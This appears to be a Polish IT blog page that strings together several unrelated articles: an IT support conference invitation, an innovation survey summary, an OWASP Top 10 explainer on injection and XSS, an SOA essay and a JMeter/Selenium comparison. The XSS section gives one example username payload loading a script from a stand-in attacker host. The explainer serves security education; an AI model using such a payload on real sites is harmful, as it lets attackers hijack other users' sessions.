Z perspektywy wsparcia IT najłatwiej jest dostrzec „czynnik ludzki” informatyki. Użytkownik zwracający się o pomoc, to ktoś, kto czuje się zagubiony i sfrustrowany. Technika informatyczna zamiast – jak zwykle – pomagać mu w pracy, nagle staje na przeszkodzie. On nie wie, co się stało i nie rozumie tego, czego oczekują od niego ci, co wiedzą. Łatwo dać się unieść emocjom.

Informatyk grupy wsparcia poradziłby sobie ze wszystkim, gdyby tylko miał czas i właściwe narzędzia. Jest świadom odpowiedzialności za warte majątek systemy, które utrzymuje w ciągłej sprawności. Lepiej nie wchodzić mu w drogę, gdy przy nich majstruje (a to w zasadzie stan permanentny). Potrafi trochę irytująco patrzeć na innych z góry i mówić językiem, który rozumieją tylko jego koledzy z działu. Ale to świetny fachowiec, wręcz cudotwórca. Nudzi go administratorska rutyna. Jest ambitny, potrzebuje wyzwań, ciągle chce się rozwijać. Szkoda, że często czuje się niedoceniany.

Specjalista Service Desku nie jest tak biegły w technice, za to cierpliwy, serdeczny i wyrozumiały. Zdarza się, że obrywa niemal za wszystko, co nie działa. Inteligentny, szybko przyswaja wiedzę, choć nigdy nie otrzymuje jej w postaci usystematyzowanego wykładu. Bierze na siebie ciężar odpowiedzialności za każde ze zgłoszeń, chociaż tylko część z nich jest w stanie sam rozwiązać. Radzi sobie ze stresem, ale tylko on wie, ile go to kosztuje.

A menedżer kierujący informatyką? Charyzmatyczny lider, wyznaczający ambitne cele. Sprawny organizator, szanujący czas swój i innych. Rozumiejący potrzeby biznesu, skuteczny negocjator. Obserwujący trendy rynkowe analityk. Trochę finansista, trochę psycholog, tęskniący czasem za tym, czym na co dzień zajmują się jego pracownicy.

Jak stworzyć, zarządzać i doskonalić sprawną organizację wspierającą świadczenie usług IT? Jak zapewnić warunki do tego, by dzięki usługom IT biznes osiągał wyznaczone cele. Jak zorganizować pracę i jakich użyć środków, by świadczenie usług IT, na obiecanym biznesowi poziomie, kosztowało tylko tyle, ile musi. I jak w tym wszystkim mają odnaleźć się ludzie: z potrzebami, ambicjami i planami, emocjami, wiedzą i talentem, możliwościami i ograniczeniami.
Dla nas w HDI jest jasne, że to człowiek człowiekowi świadczy usługi IT i że człowiek je wspiera… A każdy z nich jest najważniejszy.

O tym wszystkim będziemy rozmawiać na VIII Forum Wsparcia IT, które odbędzie się 17-18 maja 2012 r. w Hotelu Trylogia, w Zielonce k. Warszawy.

Zapraszamy serdecznie wszystkich, dla których to ważne tematy.

Dokładne informacje o programie, prelegentach i miejscu konferencji znajdziecie na stronie www.hdi.pl

Kilka wniosków i statystyk:

• Środowisko innowacyjne w swoim kraju najlepiej oceniają respondenci z Izraela, Zjednoczonych Emiratów Arabskich, Szwecji, Singapuru, Chin i Kanady. Najgorzej Japończycy, Rosjanie, Polacy i Francuzi. Pod uwagę brano 13 czynników, takich, jak wsparcie rządu dla innowacyjności i efektywność tego wsparcia, ochrona patentów, społeczna akceptacja dla ryzyka, skłonność do innowacji, wsparcie biznesu, czy współpraca ze środowiskiem akademickim.
• Ciekawe jest to, że wśród większości respondentów największą frustrację wywołuje powolne tempo wprowadzania innowacji na rynek. Wśród kolejnych wymienianych jest wsparcie rządu, ale również sektora prywatnego.
• Powszechną opinią (co staje się już banałem), z którą zgadza się większość ankietowanych, jest to, że innowacyjność jest główną dźwignią do stworzenia bardziej konkurencyjnej gospodarki w moim kraju. Już mniej oczywista okazuje się opinia dotycząca pozytywnej roli innowacji w kreowaniu miejsc pracy (ponad 85% zgadza się z tą opinią). 86% potwierdza, że innowacyjność wynika z partnerstwa miedzy organizacjami, a nie samotnej gry.
• Analizując wpływ innowacji na poprawę jakości życia, respondenci podkreślali w szczególności obszar komunikacji, ochrony zdrowia, rynku pracy oraz ochrony środowiska. Jeśli chodzi o analizę według krajów, największymi entuzjastami są mieszkańcy Singapuru, Zjednoczonych Emiratów Arabskich, Turcji oraz Kanady. Największymi sceptykami są Japończycy, mieszkańcy Korei Południowej, Chińczycy i Francuzi. My jesteśmy umiarkowanymi optymistami w tej kwestii.
• 80% ankietowanych twierdzi, że małe i średnie firmy oraz indywidualne osoby, mogą być równie innowacyjne, jak duże korporacje. Co ciekawe, 73% uważa, że innowacje wynikają z ludzkiej kreatywności, a nie prac naukowych.
• W pytaniu, co sprzyja skuteczności innowacji, respondenci wymienili jako pierwsze: posiadanie kreatywnego zespołu (out of the box thinkers) oraz osób z wiedzą techniczną. Zwracają również uwagę na wsparcie finansowe oraz długookresowe podejście inwestorów do wsparcia innowacji.
• Jakie kraje cieszą się najlepszą reputacją w zakresie innowacyjności: And the Oscar Goes to USA. Potem wymieniano Niemcy, Japonię oraz Chiny.
• Polscy respondenci okazali się najbardziej krytycznym z krajów w ocenie reputacji własnego środowiska innowacyjnego. Aż 67% osób wypowiedziała się o negatywnym wizerunku swojego kraju. Kolejna w zestawieniu Południowa Afryka – uzyskała w autoocenie 43% negatywnych opinii. Potwierdza się, że jesteśmy najbardziej krytycznym krajem wobec samych siebie. Najbardziej pozytywni wobec siebie byli mieszkańcy Izraela i Niemiec.

Tutaj znajdziecie pełny raport.

OWASP – Open Web Application Security Project to społeczność skupiająca się wokół otwartych i darmowych projektów, mających na celu ułatwienie tworzenia i utrzymania bezpiecznych aplikacji internetowych (ang. web applications). Z kolei OWASP Foundation to fundacja non-profit, mająca na celu długofalowe zapewnienie działania tego projektu. OWASP podkreśla swoją obiektywność i niezależność od firm i producentów i jednocześnie deklaruje, że nie rekomenduje ani nie zachęca do korzystania z komercyjnych produktów i usług.

Wszystkie materiały, dokumenty, narzędzia i inne produkty, które powstały w ramach prac osób i organizacji zaangażowanych w tej społeczności udostępniane są za darmo i na wolnych licencjach. Należą do nich:

• narzędzia związane z bezpieczeństwem (np. z jego testowaniem, ale także ułatwiające tworzenie bezpiecznych aplikacji),
• materiały edukacyjne, promujące i uświadamiające kwestie bezpieczeństwa,
• standardy i procedury ułatwiające utrzymywanie bezpiecznych systemów, ale również ich projektowanie i tworzenie,
• wyniki przeprowadzanych przez OWASP badań związanych z bezpieczeństwem,
• wiele innych.

Opisywana przeze mnie lista dziesięciu najpoważniejszych grup zagrożeń dla aplikacji webowych, to właśnie jeden z materiałów udostępnianych przez tę organizację. Zaraz na początku należy podkreślić, że nie jest to w żadnym razie przepis na stworzenie bezpiecznego systemu czy też podstawa do tworzenia polityki bezpieczeństwa organizacji. To po prostu zbiór informacji, który ma za zadanie uświadamiać jak najszerszą rzeszę odbiorców w zakresie bezpieczeństwa otaczających nas aplikacji internetowych.

Lista zaproponowana przez OWASP to lista zagrożeń według tej organizacji najważniejszych, czyli takich, dla których prawdziwy jest przynajmniej jeden z poniższych czynników:

• są często spotykane,
• łatwe do wykrycia i/lub wykorzystania przez atakujących,
• mogą wiązać się z poważnymi konsekwencjami dla systemu, którego dotyczą.

Dla zobrazowania z czym wiążą się opisywane niebezpieczeństwa, dla każdej z grup z listy zagrożeń użyto tabelki bazującej na poniższych wartościach.

Świadomie nie starałem się na siłę tłumaczyć każdego występującego w artykule angielskiego terminu związanego z bezpieczeństwem informatycznym. Być może dzięki temu uniknę nieścisłości – wciąż jest dużo braków w polskiej terminologii związanej z tą tematyką. Nierzadko spotyka się również niespójności w używaniu i rozumieniu poszczególnych pojęć (choć w sumie dotyczy to również terminologii angielskiej). Ponadto, jeśli czytelnik poczuje taką potrzebę, łatwiej będzie mógł poszerzyć swoją wiedzę z danego zakresu znając terminy oryginalne.

Jak to często bywa z klasyfikacjami tak i tutaj należy pamiętać, że granice pomiędzy niektórymi definicjami są płynne – niektóre z zagrożeń można by przypisać do więcej niż jednej grupy. Nierówne są też obszary pokrycia poszczególnych definicji – niektóre z nich są bardzo wąskie i obejmują nieliczny zbiór problemów, a inne przeciwnie, są bardzo obszerne i wręcz trudno dokładnie wymienić zakres objętych przez nie ryzyk.

Grupa 1: Injection
Nie dość, że zastrzyki i tak wielu ludziom kojarzą się nieprzyjemnie, to dla ludzi związanych z bezpieczeństwem IT (czyli właściwie powinno to znaczyć dla każdego kto ma jakiś związek z wytwarzaniem, wdrażaniem i utrzymywaniem systemów informatycznych) pojęcie wstrzykiwania (ang. Injections), użyte w kontekście ochrony ich systemów, wiąże się z poważnymi niebezpieczeństwami.

W grupie zagrożeń związanych z tym terminem mieszczą się wszelkie ryzyka związane z podatnością aplikacji na ataki związane z przekazywaniem przez atakującego szkodliwych danych do różnych elementów aplikacji, tak by dane te zmieniły założone przez twórców oprogramowania zachowanie aplikacji. Przykładem takich ataków jest SQL injection – wstrzykiwanie do zapytań bazodanowych danych modyfikujących ich treść i tym samym osiągane przez zapytanie wyniki. Złośliwa modyfikacja zapytań bazodanowych jest najczęstszym rodzajem takiego ataku ale nie jedynym. Występują również:

• OS injection – modyfikacja parametrów wywołań poleceń systemowych,
• Code injection – wstrzykiwanie fragmentów wykonywalnego kodu dla interpretera po stronie aplikacji webowej,
• LDAP injection – modyfikacja zapytań protokołu LDAP,
• modyfikacja argumentów uruchamianych w tle programów,
• modyfikacja zapytań Xpath,
• Hibernate injection – przy niewłaściwym korzystaniu z tej biblioteki, możliwe jest wstrzykiwanie danych do dynamicznie tworzonych zapytań w języku HQL (JPQL),
• i wiele innych.

W jaki sposób przeprowadzane są takie ataki? Przykładowo, napastnik wykrywa, że dane wpisane w pole w formularzu bez żadnej walidacji doklejane są w kodzie aplikacji do dynamicznie tworzonego zapytania bazodanowego. Wystarczy przekazać odpowiednią wartość w tym polu, by całkowicie zmodyfikować treść zapytania, na przykład zamiast zwracać dane zalogowanego użytkownika baza danych zwróci dane innego lub nawet wszystkich użytkowników. W niektórych konfiguracjach aplikacji i bazy danych, możliwe jest doklejenie w ten sposób do jednego zapytania nawet pełnego drugiego, które na przykład usunie wiersze czy tabele.

Błędy takie są bardzo łatwe do zdiagnozowania przy przeglądzie kodów źródłowych aplikacji. Trudniej jest je wykryć za pomocą testów penetracyjnych i trudniej opracować na jego podstawie tzw. wektor ataku wykorzystującego taką lukę, ale jest to jak najbardziej możliwe i zdarza się w rzeczywistych systemach bardzo często. Istnieje szereg aplikacji komercyjnych i darmowych służących do testowania bezpieczeństwa aplikacji internetowych. Wiele z nich oferuje zautomatyzowane narzędzia skanujące, które raportują wykryte w danymi systemie słabości, między innymi także podatność na ataki SQL Injection. Warto być jednak świadomym, że eksperci do spraw bezpieczeństwa podkreślają, iż użycie tego typu oprogramowania nie zastąpi testów penetracyjnych wykonanych przez specjalistów. Owszem, są one używane w trakcie takich właśnie testów do wykrywania ewentualnych słabszych punktów systemu, które warte są poddaniu dalszej analizie, ale ich wykorzystanie stanowi tylko pewien ułamek tego czym są prawdziwe testy penetracyjne.

By chronić się przed atakami najlepiej jest podjąć odpowiednie kroki już podczas projektowania i tworzenia oprogramowania. Przede wszystkim, najlepiej jest korzystać z odpowiedniego API, które ułatwia lub wręcz automatycznie obsługuje zabezpieczanie przed wstrzykiwaniem. Przykładem może być użycie np. bazodanowych zapytań parametryzowanych (ang. prepared/parameterized statement) czy też bazodanowych procedur składowanych (właściwie napisanych procedur, źle napisane również mogą być podatne na wstrzykiwanie) i unikanie dynamicznie generowanych zapytań jako ochrona przed SQL Injection. Możliwe jest również zakodowanie znaków specjalnych w taki sposób, by nadal były czytelne i użyteczne dla logiki i użytkownika aplikacji, jednocześnie tracąc swe specjalne znaczenie dla atakowanego elementu systemu (np. zamiana znaków specjalnych na odwołania znakowe SGML czy też zakodowane w ASCII znaki Unicode’u). W niektórych przypadkach może się również sprawdzać użycie tak zwanych białych list (ang. whitelists), czyli kolekcji elementów z których mogą się składać przekazywane przez użytkownika dane.

Grupa 2: Cross-Site Scripting (często oznaczany skrótem XSS)

W tej grupie zagrożeń mieszczą się błędy umożliwiające atakującemu za pomocą odpowiednio spreparowanych danych modyfikowanie stron webowych serwisu. Złośliwie przygotowane dane nie służą tu zmianie logiki po stronie serwerowej jak w przypadku wstrzykiwania, ale zmieniają treści zwracane przez serwer i tym samym zachowanie aplikacji po stronie przeglądarki końcowego użytkownika. Zmodyfikowane tą metodą ataku strony mogą umożliwiać przechwytywanie sesji użytkownika, jego przekierowanie na inny adres (np. na fałszywą wersję danego serwisu), podmianę czy też wstawienie dowolnej treści (np. odnośników do złośliwego oprogramowania) i wiele innych niebezpiecznych ataków.

Ataki typu XSS możliwe są jeśli w aplikacji dane przekazywane przez użytkowników są bez weryfikacji wyświetlane na stronach wynikowych. Bardzo ważne jest, by wszystkie dane wejściowe przyjmowane przez system były poddawane walidacji. I to w taki sposób, by zawsze wracały do użytkowników jako zwykła treść tekstowa, a nie aktywna treść, która będzie potem interpretowana przez przeglądarkę podczas renderowania strony (w sensie generowania z kodów HTML, CSS i grafiki treści widocznej dla użytkownika). Kluczowe   jest by walidacje te były przeprowadzane po stronie serwera – pamiętajmy, że to użytkownik kontroluje całkowicie tę część naszego systemu, która znajduje się w jego przeglądarce.

O ile luki tego typu są dość łatwe do wykrycia zarówno podczas przeglądu kodu jak i przy testach penetracyjnych, to tak jak i w wielu innych przypadkach związanych z testami bezpieczeństwa, nie da się ich wykrywania oprzeć wyłącznie na testach automatycznych. Z reguły korzysta się z kombinacji tych pierwszych oraz testów ręcznych (także w oparciu na wynikach testów automatycznych).

Podczas tworzenia systemów informatycznych z przeglądarkowym interfejsem użytkownika należy zwrócić szczególną uwagę na weryfikację wprowadzanych przez niego danych.

——————————————————————————————————————————-

Przykład ataku XSS:
Formularz rejestracyjny danego serwisu wymaga podania identyfikatora użytkownika ale nie sprawdza czy w treści przekazanych przez rejestrującego się danych, znajdują się znaczniki języka HTML. Atakującemu wystarczy założyć konto o nazwie:
‘Adam<script src=”http://crackers.pl/code.js”/><script>doEvil();</script>’, następnie zalogować się na nowe konto i wykonać jakąś akcję, która spowoduje, że gdzieś na stronach serwisu pojawi się nazwa nowego użytkownika (np. dodać komentarz). Teraz przy każdym wyświetleniu przez jakiegokolwiek innego użytkownika strony z tym komentarzem, w jego przeglądarce wykona się złośliwy skrypt.

——————————————————————————————————————————-

Współczesna wizja architektury IT

Wraz z rozwojem systemów informatycznych i ich rosnącą rolą w funkcjonowaniu organizacji, pojawiły się rozwiązania mające pomóc w radzeniu sobie z ich złożonością i jednoczesnymi wymogami coraz większej elastyczności. Za sprawą firm takich, jak Gartner, czy Forrester Research, pojęcia typu SOA, EDA, lub CEP, są znane większości osób mających wpływ na architekturę informatyczną w swoich organizacjach. Wspólnym mianownikiem dla nich jest próba uporządkowania i zoptymalizowania infrastruktury w taki sposób, aby była łatwiej zarządzalna, lepiej przygotowana na zmiany i jednocześnie optymalna pod względem kosztów wdrożeń i utrzymania.

Oprogramowanie, które te rozwiązania umożliwia i wspiera, tak jest właśnie reklamowane. Jest to bardzo trafna odpowiedź na realne zapotrzebowanie klientów. Rozwój i opanowanie dziesiątek niezależnych, ale muszących ze sobą sprawnie współpracować w ramach jednej organizacji systemów nie jest prostym zadaniem, a zmaga się z nim wiele firm.

Chociaż pomysły i chęci są dobre, rzeczywistość nie zawsze wygląda różowo. Część pojęć z obszaru architektury IT zyskało sławę “buzzwords”. Dużo się o nich mówi, ale mało osób, szczególnie tych, które brały udział w ich wdrożeniach, wierzy że w realny sposób przekładają się na zysk dla firmy. Praktyka pokazuje nieraz, że wdrożenie architektury usługowej wniosło niewiele, kosztowało bardzo dużo, a kilka lat później okazało się, że wypracowane w pocie czoła rozwiązanie trzeba zastąpić nowym, jeszcze nowocześniejszym, rozwiązującym problemy, które miało adresować poprzednie.

Zapomnijmy na chwilę o nie najlepszych doświadczeniach i przyjrzyjmy się jednemu z najpopularniejszych paradygmatów architektonicznych.

Service Oriented Architecture

Głównym założeniem architektury usługowej jest udostępnienie funkcjonalności oferowanej przez systemy informatyczne przedsiębiorstwa w spójny i uporządkowany sposób. Wszystkie usługi, bez względu na technologię jaka je realizuje, dostępne są za pośrednictwem ujednoliconego technicznie i logicznie interfejsu. Mamy więc najczęściej kanoniczny model danych, Web Service’y oparte o JMS lub HTTP i szynę serwisową (ESB). Architekt, projektując nowe rozwiązanie, nie zastanawia się jaki system realizuje potrzebne mu funkcjonalności. Korzysta z katalogu, w którym znajduje co i gdzie jest dostępne, ze szczegółową specyfikacją interfejsów. Jeśli potrzebnej funkcjonalności nie ma, zostaje zaprojektowana i upubliczniona w dokładnie taki sam sposób, jak wszystkie poprzednie. Realizując kolejny projekt, będzie ją można znaleźć w katalogu i ponownie wykorzystać. Z założenia dba się o to, aby usługi były uniwersalne, nie dublowały się i były gotowe do wykorzystania w przyszłości przez inne projekty. Powinny stanowić spójną całość, odzwierciedlającą funkcjonalność oferowaną przez infrastrukturę IT.

Na papierze, SOA wygląda więc na bardzo dobry pomysł, ułatwiający życie architektom i obniżający koszty przez re-użycie. Stwarza też wiele nowych możliwości. Mając dostęp do całej funkcjonalności platformy usługowej w ustandaryzowany i uporządkowany sposób, wdrożenie silnika procesowego (BPM) staje się prostszym zadaniem. To samo tyczy się innych rozwiązań, jak Complex Event Processing, czy BAM.  Zbudowanie ich bez SOA, da w efekcie niewielką elastyczność i z największym prawdopodobieństwem punktowe zastosowanie w wąskiej dziedzinie funkcjonowania firmy. A nie o to w tym przecież chodzi.

Skąd biorą się kłopoty?

Konsekwencją spełnienia założeń architektury usługowej, jest konieczność dostosowania do niej nie tylko wdrażanej jednocześnie platformy integracyjnej, ale również całego ekosystemu który ją otacza. I nie ma tu mowy jedynie o aspektach technicznych. Projekty realizowane zgodnie z założeniami SOA, wymagają dodatkowych nakładów pracy, takich jak analiza, utrzymanie modelu kanonicznego, czy refaktoring usług. Wzorce projektowe każdego rodzaju stanowią pewien rodzaj inwestycji i zazwyczaj nie da się ich wprowadzić, nie ponosząc dodatkowych kosztów, które nie przekładają się bezpośrednio na zysk w projekcie. Taki zysk staje się widoczny albo z upływem czasu (w kolejnych projektach), albo na poziomie, który nieraz nie jest zauważalny dla kierowników. A mało który z nich, pracując pod presją czasu i ograniczonego budżetu, zgodzi się na nadprogramowe wydatki, które w żaden sposób nie przekładają się na jego sukces.

Co robić?

Kluczem do zrozumienia problemu jest świadomość, że inicjatywy między-działowe i między-projektowe, a do takich należy między innymi SOA, wymagają koordynacji na odpowiednio wyższym poziomie. Z doświadczenia naszego i naszych klientów widać jasno, że tego rodzaju koncepcje, bez wsparcia na odpowiednim szczeblu zarządzania, szybko stają się nieefektywne i rozmywają się w plątaninie organizacyjnej. Wyższy koszt wytworzenia na dłuższą metę nie przynosi spodziewanych efektów. Po kilku latach platforma usługowa staje się systemem legacy.

Jest jasne, że wprowadzenie takiej koordynacji to trudne zadanie. Duże firmy organizują pracę dookoła projektów, które często są od siebie mocno niezależne, szczególnie ze względu na budżety i cele biznesowe. Sytuację utrudnia fakt, że sporo firm działa w modelu multi-vendoringu. Dlatego, pierwszym krokiem powinna być realna ocena potrzeb.

Wzorce, o których mowa, rozwiązują problemy, które pojawiają się w dużych przedsiębiorstwach, budujących swoją infrastrukturę IT od wielu lat, bądź planujących dużą rozbudowę w przyszłości. Koszt ich wdrożenia i utrzymania jest bardzo wysoki i uzasadniony tylko, jeśli istnieje realna szansa na wykorzystanie potencjału, który się za nimi kryje. Wprowadzanie ich, wymaga więc rzetelnego audytu i skonfrontowania potrzeb i problemów przedsiębiorstwa z tym, co możemy uzyskać przez restrukturyzację. Nieraz okaże się, że milionowe inwestycje w oprogramowanie, projekty i sprzęt nigdy się nie zwrócą, a problemy, które można było rozwiązać łatwiej i taniej, nadal nas prześladują.

Jeśli architektura usługowa i wszystko to, co można na jej fundamencie zbudować okaże się potrzebne, warto pamiętać o tym, że chociaż koncepcje o których tu mowa wywodzą się z informatyki, nie można ich traktować jedynie jako problemu działu IT. Potrzebne jest wsparcie w promowaniu i przestrzeganiu nowych metod pracy nad projektami. Jeśli dostawców jest wielu, konieczne jest wytworzenie i opublikowanie jasnych standardów implementacyjnych i koordynacja pracy niezależnych zespołów. Bardzo pomocną w tym inicjatywą, jest utworzenie biura architektury, którego rolą będzie audyt projektów pod kątem zgodności z ustalonymi standardami. Takie biuro powinno być właścicielem katalogu usług, mieć wgląd we wszystkie realizowane projekty i prawo podejmowania decyzji co do ich kształtu. Ważne, aby miało nie tylko kompetencje, ale również realną władzę.

Z perspektywy działów IT, warto pamiętać, że jednym z ważniejszych celów wprowadzania zmian architektonicznych jest uporządkowanie i lepsza organizacja. Dlatego, niezwykle ważnym elementem jest katalog usług, który jest najlepszym kandydatem do zignorowania, ponieważ w żaden sposób nie wpływa na funkcjonalność naszej infrastruktury. Ma jednak ważną rolę w utrzymywaniu porządku i trudno bez niego o re-używalność usług. Jest też dobrym miernikiem jakości budowanej platformy. Jeśli można zbudować na jej podstawie sensowny katalog, oznacza to, że całe przedsięwzięcie układa się w logiczną całość.

Wszystko to stanowi wysoki próg wejścia, jednak w niejednym przypadku jest doskonałą inwestycją na przyszłość i otwiera przed przedsiębiorstwem nowe możliwości w zakresie czasu realizacji i złożoności wprowadzanych rozwiązań. Z czasem doceni to każdy dział firmy. Ważne, aby pamiętać, że koncepcje architektoniczne to nie półkowe produkty, które można kupić, wdrożyć i o nich zapomnieć. Jeśli są tak traktowane, z pewnością nie przyniosą spodziewanych efektów.

Czym są testy funkcjonalne
Testy funkcjonalne są tzw. testami czarnej skrzynki, ponieważ osoba testująca nie ma dostępu do informacji na temat budowy programu, który testuje. Przekładając ten sposób testowania na programy do automatyzacji powinno wyglądać to tak, że program wykonuje pewną akcję lub wprowadza dane, a w odpowiedzi otrzymuje wynik (np. przetworzone dane). Nie jest interesujący sposób wykonania ale wynik. Aby przetestować poprawność przetwarzania należy posłużyć się wieloma zestawami danych i porównać wyniki ich przetwarzania.

Testy funkcjonalne wykonywane są często tylko pod koniec cyklu wytarzania oprogramowania, a powinny być uruchamiane znacznie wcześniej. Poszczególne komponenty i procesy mogą być sprawdzane przed uruchomieniem takich testów dla całego systemu. Dlatego ważna jest łatwość utrzymania aktualności scenariuszy testowych.

Specyfikacja (główne wykorzystanie, przeznaczenie) narzędzi JMeter i Selenium
Zgodnie z założeniem program Apache JMeter jest zaawansowanym systemem do mierzenia wydajności obiektów statycznych oraz dynamicznych (np. plików, servletów, klas Javy, serwerów HTTP i FTP itd.). Umożliwia testowanie wydajności, poprawności, wytrzymałości na duże obciążenie oraz analizę otrzymanych danych. Do JMetera można znaleźć wiele wtyczek rozszerzających jego funkcjonalność.

Selenium to zestaw narzędzi służący do automatycznego testowania aplikacji webowych. Jest narzędziem bardzo rozbudowany, potrafiącym przetestować prawie wszystko co jest w stanie obsłużyć przeglądarka internetowa, a ponadto umożliwia testowanie w różnych środowiskach. Najczęściej do testów używany jest zestaw Selenium IDE oraz Selenium RC. Pierwszy służy do nagrywania scenariuszy, prostego modyfikowania i odtwarzania testów. Drugi to w zasadzie serwer pozwalający na uruchamianie testów w różnych przeglądarkach, stworzenie skomplikowanych zasad biznesowych, podłączenie różnego rodzaju źródeł danych testowych i wiele innych. Oprócz tego, tak jak JMeter również i Selenium może się pochwalić dużą ilością rozszerzeń.

Możliwości wykonania testów funkcjonalnych

Stworzenie scenariusza
Oba narzędzia oferują możliwość nagrywania scenariuszy. W JMeterze jest to realizowane za pomocą serwera proxy, który przechwytuje wszystkie pakiety, natomiast Selenium oferuje wtyczkę do Firefoxa, za pomocą której można zarejestrować wszystkie czynności wykonywane w aplikacji webowej. Z pozoru funkcjonalność nagrywania niewiele się różni jednak w Selenium jest ona o wiele przyjaźniej zrealizowana. Większość czynności wykonuje się w sposób bardzo naturalny z poziomu okna wtyczki lub menu kontekstowego na stronie – jest to bardzo wygodne. Bardziej skomplikowane rzeczy np. pętle można realizować modyfikując kod scenariusza, który z resztą może być rejestrowany w wielu językach, np. Java, C#, Perl, Python, Ruby czy PHP.

Nagrywanie testów w JMeterze wymaga poświęcenia znacznie większej ilości czasu. Ponieważ opiera się ono o proxy działające pomiędzy serwerem a przeglądarką użytkownika przechwytuje wszystkie pakiety, komunikaty, sesje – wszystkie dane jakie są przesyłane. Z punktu widzenia testów funkcjonalnych nie powinno nas to interesować. Oczywiście proxy daje pewne możliwości konfiguracji, które umożliwią obejście tego problemu, np. określenie jakie odwołania do plików mają być rejestrowane lub nie, albo można określić część adresu URL, z którego będą rejestrowanie odpowiedzi. Jedna takie skonfigurowanie proxy wymaga pewnej wprawy, znajomości działania serwera czy struktury katalogów. Dla osoby mało doświadczonej jest to strata czasu.

Przygotowanie danych
Nagrane scenariusze testowe to jeszcze nie wszystko. Potrzebne są dane testowe, które będą wykorzystywane przez te scenariusze.

JMeter umożliwia tworzenie parametrów sterujących przebiegiem scenariusza. Można wyróżnić kilka źródeł tych parametrów:

• Parametry zaszyte w skrypcie scenariusza – trudne w utrzymaniu – niepolecane.
• Generowane za pomocą funkcji – w skrypcie użyte jest tylko odwołanie do parametru, a wartość parametru może być generowana za pomocą wbudowanych funkcji.
• Parametry pobierane z pliku – obsługa plików w formacie CSV. JMeter nie oferuje bezpośrednio operacji na danych z takiego pliku, ale można wykorzystać dodatkowe elementy – preprocesory, dające możliwość napisania funkcji operujących na danych.
• Dynamicznie pobierane wyniki testów – czyli odpowiedzi zapytań, wykonanych wcześniej w danym skrypcie. Aby wyciągnąć takie dane z odpowiedzi najczęściej trzeba posłużyć się wyrażeniami regularnymi co jest możliwe w JMeterze.

W przypadku samego Selenium IDE sprawa wygląda znacznie gorzej, generalnie możliwe jest tylko używanie parametrów zaszytych w skrypcie. Jednak tworząc automatyczne testy funkcjonalne nie wykorzystuje się samego Selenium IDE. Zawsze towarzyszy mu Selenium RC, które ma bardzo rozbudowane możliwości w tym zakresie. W Selenium RC można zaprogramować w JAVA wszystko to co ma JMeter mając przy tym pełną kontrolę konfiguracji i działania. Dodatkowo można również skonfigurować połączenie z bazą danych, z której będę pobierane dane do scenariusza.

Weryfikowanie i zbieranie wyników
Uruchomiony test powoduje generowanie pewnych wyników, które należy zweryfikować i zapisać.
W JMeterze, na etapie tworzenia testu należy dodać elementy odpowiedzialne za weryfikowanie (różnego rodzaju asercje) oraz zapisywanie wyników. Asercje umożliwiając zweryfikowanie czy otrzymany wynik jest zgodny z oczekiwanym. Dostępne są m.in. Duration Assertion, Size Assertion, HTML Assertion, MD5HEX Assertion oraz asercji związane z XMLem: XML Assertion, XML Schema Assertion, XPath Assertion. Do zapisywania wyników testu można również użyć kilku różniących się od siebie elementów, a następnie wyeksportować je do pliku w formacie CSV w celu późniejszej obróbki np. w Excelu.

W Selenium skrypt można uruchomić w samym Selenium IDE ale daje to ograniczone możliwości (zwykły plan testu bez zaawansowanych zasad) lub skorzystać z selenium server. Najprostszym sposobem jest utworzenie pliku skryptowego (w Windowsie pliku cmd) i zapisanie w nim informacji o ścieżce do serwera, do przeglądarki, do scenariusza testowego oraz podać miejsce, w którym mają być zapisane wyniki testu. Wyniki tak uruchomionego testu nie będą zawierały żadnych szczegółowych informacji. Aby otrzymać takie informacje, na etapie tworzenia scenariusza, należy dodać polecenia weryfikujące wyniki wykonywanych czynności. Można np. dodać polecenia sprawdzające poprawność wyświetlanego na stronie elementu, sprawdzić tekst, lub poprawność wyliczonych wartości.

Wykorzystanie w pełni potencjału jakie daje Selenium można uzyskać poprzez stworzenie projektu JAVA np. w Eclipse, wykorzystanie w nim biblioteki JUnit, pliku jar Selenium, stworzenie własnych testów jako klasy i wykorzystanie selenium-server to uruchamiania testów.

Podsumowanie
Najważniejsza różnica pomiędzy omawianymi narzędziami jest taka, że JMeter pomija GUI, które jest bardzo istotne przy testach funkcjonalnych. Po prostu naturalne jest że tester przeprowadzający testy funkcjonalne ręcznie wykorzystuje interfejs graficzny, który może mieć wpływ na wyniki. Tego samego oczekuje się od automatów. W przypadku Selenium, niektórych może odstraszyć fakt, że wykonanie większości czynności (oprócz nagrywania skryptów scenariusza) wymaga napisania  kawałka kodu. Myślę że jest to znikoma cena jaką trzeba zapłacić za poprawnie zbudowane testy, które będą łatwe w utrzymaniu i wykonywaniu. Tym bardziej, że Selenium jest szeroko wykorzystywane w tej dziedzinie, dużo osób ma z nim doświadczenie a w Internecie można znaleźć dużo pomocnych rozszerzeń i informacji.

Programista musi więc wykazywać się biegłą znajomością frameworków i technologii warstwy logiki biznesowej (Struts, Spring, EJB). Jak łatwo się domyślić – kolejną mile widzianą umiejętnością jest znajomość frameworków warstwy dostępu do danych (EJB, Hibernate). Krótko mówiąc – dobry programista to człowiek instytucja.
 

Gdy spojrzy się na wszystkie wymienione technologie można w nich wyróżnić część wspólną. Większość z nich opiera się na języku programowania Java. Dlatego dobry programista J2EE musi przede wszystkim wykazywać się biegłą znajomością właśnie tego języka. Wystarczy zastanowić się nad ścieżką certyfikacyjną firmy Oracle (wcześniej SUN). Certyfikaty J2EE (SCWCD, SCBCD, SCDJWS) można zdawać dopiero po wcześniejszym zdaniu certyfikatu SCJP (Sun Certified Java Programmer).

Zdanie certyfikatu SCJP jest zapewnieniem, że programista posiadł obszerną wiedzę z gramatyki języka Java. Tworzone przez niego systemy z dużym prawdopodobieństwem będą działać. Jednak czy będą niezawodne, wydajne i łatwe w utrzymaniu? Tego nie zapewnia sama znajomość gramatyki. Trzeba wiedzieć jak pisać efektywny kod, który zapewni w/w warunki.

